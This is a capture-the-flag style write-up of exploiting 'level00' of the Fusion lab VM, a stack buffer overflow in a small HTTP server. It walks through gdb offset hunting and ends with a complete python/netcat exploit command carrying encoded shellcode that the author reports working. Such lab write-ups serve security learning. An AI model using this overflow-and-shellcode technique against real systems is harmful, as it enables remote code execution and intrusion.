I began by looking for the port level00 listened on. However, it was not in the source code. I found it by running a netstat -tulpn:
From the output you can see level00 listens on port 20000. We could have also found this by setting a breakpoint on SERVE_FOREVER and examining the port passed to it. After looking through the code, I determined the vulnerable function was fix_path. It performs a strcpy with no bounds checking of any type assuming realpath does not truncate our input in any way. In order to reach that code, I began by constructing a string with python. I started with:
python -c ‘print “GET HTTP/1.1 ” + “A”*300’ | nc 127.0.0.1 20000
NOTE: There must be two spaces after the GET statement! If you look at the code it looks for “GET “, but then uses strchr to search for the first instance of a space after the first 4 characters. If there aren’t two spaces after GET it grabs the As and compares those to the HTTP statement instead of the HTTP characters.
One interesting part of the code is the location where the strncmp should be in parse_http_request. It looks like the following:
0x08049925 <+208>: add DWORD PTR [ebp-0x10],0x1
0x08049929 <+212>: mov eax,DWORD PTR [ebp-0x10]
0x0804992c <+215>: mov edx,eax
0x0804992e <+217>: mov eax,0x8049efd
0x08049933 <+222>: mov ecx,0x8
0x08049938 <+227>: mov esi,edx
0x0804993a <+229>: mov edi,eax
0x0804993c <+231>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x0804993e <+233>: seta dl
0x08049941 <+236>: setb al
0x08049944 <+239>: mov ecx,edx
0x08049946 <+241>: sub cl,al
0x08049948 <+243>: mov eax,ecx
0x0804994a <+245>: movsx eax,al
0x0804994d <+248>: test eax,eax
0x0804994f <+250>: je 0x8049965 <parse_http_request+272>
It took me a bit to understand what I was looking at. The code was compiled statically. The code includes the function definition inline rather than calling it externally.
When I ran the command it unfortunately only returned the words “trying to access”. My suspicion at this point is that we have to find a way to do something with the strcpy. We know this is a stack based buffer overflow and we know the path variable points to something on the stack.
I turned my attention to the realpath function to determine what it was doing. I followed the first call in realpath and saw __i686.get_pc_thunk.bx. Unsure of what that was I did a quick Google search:
“This call is used in position-independent code on x86. It loads the position of the code into the
%ebx register, which allows global objects (which have a fixed offset from the code) to be accessed as an offset from that register.”
I then realized that realpath is a native Linux command that simply takes a canonical name and converts it to an actual path. This is obvious in hindsight, but I then figured out I need to feed the program a properly formatted HTTP request. Here’s what I sent:
python -c ‘print “GET ” + “/home/fusion/” + “A”*500 + ” HTTP/1.1\r\n”‘ | nc 127.0.0.1 20000
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
I did a p path to determine the path variable path points to location 0xbffff34c. The next step is to determine where the return pointer to parse_http_request is. I placed a breakpoint on parse_http_request and then examined the top of the stack to determine the return address is at 0xbffff75c. The difference between the two is 1040 bytes. This doesn’t seem right? My buffer is only 500ish bytes. This isn’t the return address we’re overwriting!
I stepped through the program to discover that the crash actually at the return for fix_path. This threw me off because the return address for fix_path must be at a lower address then the buffer path because path was allocated first. Therefore our buffer overflow shouldn’t affect this address.
I concluded the overflow must actually occur in the resolved buffer. I found the return address of fix_path to be 0xbffff32c. I then decided to check the value of the return address for fix_path before and after the call to realpath, my suspicion being that path must be copied into resolved at some juncture.
My assumption was correct. x/x 0xbffff32c showed a value of 0x70 (the last byte of the return address) before the call to realpath and then a value of 0x41 after it. This is where our bug is!
x/x resolved showed the address of resolve to be 0xbffff2a0. This means there’s a difference of 140 bytes between the start of our target buffer and where the return address is. This jives with what we know about the size of our buffers. I ran the following command:
python -c ‘print “GET ” + “/home/fusion/” + “A”*140 + “BBBB” + ” HTTP/1.1\r\n”‘ | nc 127.0.0.1 20000
However, I still found the crash occurred with As in the buffer. It was indeed 140 bytes. Now we need to get our exploit code working. We’ll use Cs to simulate the code. I ran the program with the following command:
python -c ‘print “GET ” + “/home/fusion/” + “A”*127 + “BBBB” + ” HTTP/1.1\r\n” + “C”*155’ | nc 127.0.0.1 20000
(gdb) x/100x 0xbffff32c
0xbffff32c: 0x42424242 0xbffff300 0x00000020 0x00000004
0xbffff33c: 0x001761e4 0x001761e4 0x000027d8 0x20544547
0xbffff34c: 0x6d6f682f 0x75662f65 0x6e6f6973 0x4141412f
0xbffff35c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff36c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff37c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff38c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff39c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3ac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3bc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3cc: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffff3dc: 0x54544800 0x2e312f50 0x430a0d31 0x43434343
0xbffff3ec: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff3fc: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff40c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff41c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff42c: 0x43434343 0x43434343 0x43434343 0x43434343
Reminder: I knew to place the Cs after the HTTP statement because of the hint. So we should be able to use a return address of 0xbffff3ec. Now we try exploitation:
fusion@fusion:~$ python -c ‘print “GET ” + “/home/fusion/” + “A”*127 + “\xec\xf3\xff\xbf” + ” HTTP/1.1\r\n” + “\x59\x53\x4f\x42\x59\x1e\x51\x5d\x0e\x60\x1e\x47\x5d\x90\x46\x92\x57\x56\x91\x47\x60\x4f\x98\x48\x5f\xd6\x5f\x48\x46\x91\x49\x58\x06\x4f\x5b\x5e\x9f\x51\x5e\x5b\x60\x4d\x93\x41\x5f\xfd\x55\xfc\x55\xfc\xdb\xca\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1\x14\xbf\x05\x58\xc6\x87\x31\x7d\x19\x03\x7d\x19\x83\xed\xfc\xe7\xad\xf7\x5c\x10\xae\xab\x21\x8d\x5b\x4e\x2f\xd0\x2c\x28\xe2\x92\x16\xeb\xae\xfa\xaa\x13\x5e\xa6\xc0\x03\x31\x06\x9c\xc5\xdb\xc0\xc6\xc8\x9c\x85\xb6\xd6\x2f\x91\x88\xb1\x82\x19\xab\x8d\x7b\xd4\xac\x7d\xda\x8c\x93\xd9\x10\xd0\xa5\xa0\x52\xb8\x1a\x7c\xd0\x50\x0d\xad\x74\xc9\xa3\x38\x9b\x59\x6f\xb2\xbd\xe9\x84\x09\xbd”‘ | nc 127.0.0.1 20000
Sure enough that works!